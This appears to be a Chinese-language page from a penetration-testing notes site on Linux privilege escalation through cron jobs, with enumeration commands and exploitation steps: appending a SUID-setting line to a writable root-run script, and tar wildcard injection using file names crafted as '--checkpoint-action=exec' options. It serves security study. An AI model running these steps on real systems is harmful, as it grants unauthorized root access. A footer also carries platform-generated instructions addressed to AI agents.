> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/cron-jobs.md).

# Cron 任务

当周期性 root 任务执行可写脚本、不安全的相对路径或存在漏洞的处理器时，Cron 任务会形成权限提升路径。关键在于证明低权限用户控制着某个特权计划任务将要运行的内容。

## 方法

* 检查系统 crontab、cron 目录、定时器以及可写脚本。
* 使用 pspy64 在无需 root 的情况下观察短暂存在的进程。
* 检查该任务是否使用了不安全的 PATH 值、可写文件或由攻击者控制的输入目录。

## 快速检查

```bash
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron* 2>/dev/null
find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null
find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null
systemctl list-timers --all
```

## 可写的 Cron 目标

寻找特权 cron 任务执行、且低权限用户可以修改的脚本或目录。

```bash
find /etc/cron* -type f -writable 2>/dev/null
find / -writable -type f -path "*cron*" 2>/dev/null
```

使用 `pspy64` 当 cron 任务运行时间很短或在静态文件中不可见时：

```bash
./pspy64
```

如果 root cron 任务运行的是可写脚本，一种简单的验证方式是在 Bash 上设置 SUID 位并等待计划执行：

```bash
echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh
/bin/bash -p
```

### 通配符注入

如果 cron 任务在可写目录上使用带有通配符的归档命令，文件名可能会变成命令选项。

```bash
cd /var/www/
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh exploit.sh"
```

在 cron 任务运行后：

```bash
/tmp/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Cron 表达式计算器</h4></td><td>搜索常见的 cron 表达式、特殊字符串、字段语法、计划含义以及权限提升审查说明。</td><td><a href="/pages/3c35b6317c0a1ec52fbcabf0385bf6ff401ece43">/pages/3c35b6317c0a1ec52fbcabf0385bf6ff401ece43</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>pspy64 Cron 枚举</h4></td><td>pspy64 工具说明，适用于 Linux 权限提升，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/9085c6b1461e75efd097ffe3bbc7a20e9c104557">/pages/9085c6b1461e75efd097ffe3bbc7a20e9c104557</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>修改后的 Bash 脚本 Cron 任务</h4></td><td>Cron 任务 - 修改后的脚本（Bash）说明，适用于 Linux 权限提升，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/d9f118c65d7267bb6fb57e51e3d096b5f694a2de">/pages/d9f118c65d7267bb6fb57e51e3d096b5f694a2de</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>修改后的 Python 脚本 Cron 任务</h4></td><td>Cron 任务 - 修改后的脚本（Python）说明，适用于 Linux 权限提升，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/e0cfdeb93ceae8ea4d003339162507f4853c355e">/pages/e0cfdeb93ceae8ea4d003339162507f4853c355e</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>ImageMagick Cron 滥用</h4></td><td>Cron 任务 - ImageMagick 利用说明，适用于 Linux 权限提升，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/9838e941ee3c48af3dbf9b994356a8c796b72f58">/pages/9838e941ee3c48af3dbf9b994356a8c796b72f58</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Logstash Cron 滥用</h4></td><td>Cron 任务（Logstash）说明，适用于 Linux 权限提升，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/0c29a24a56e09e19d700e06515e3dc3fc1935406">/pages/0c29a24a56e09e19d700e06515e3dc3fc1935406</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/cron-jobs.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
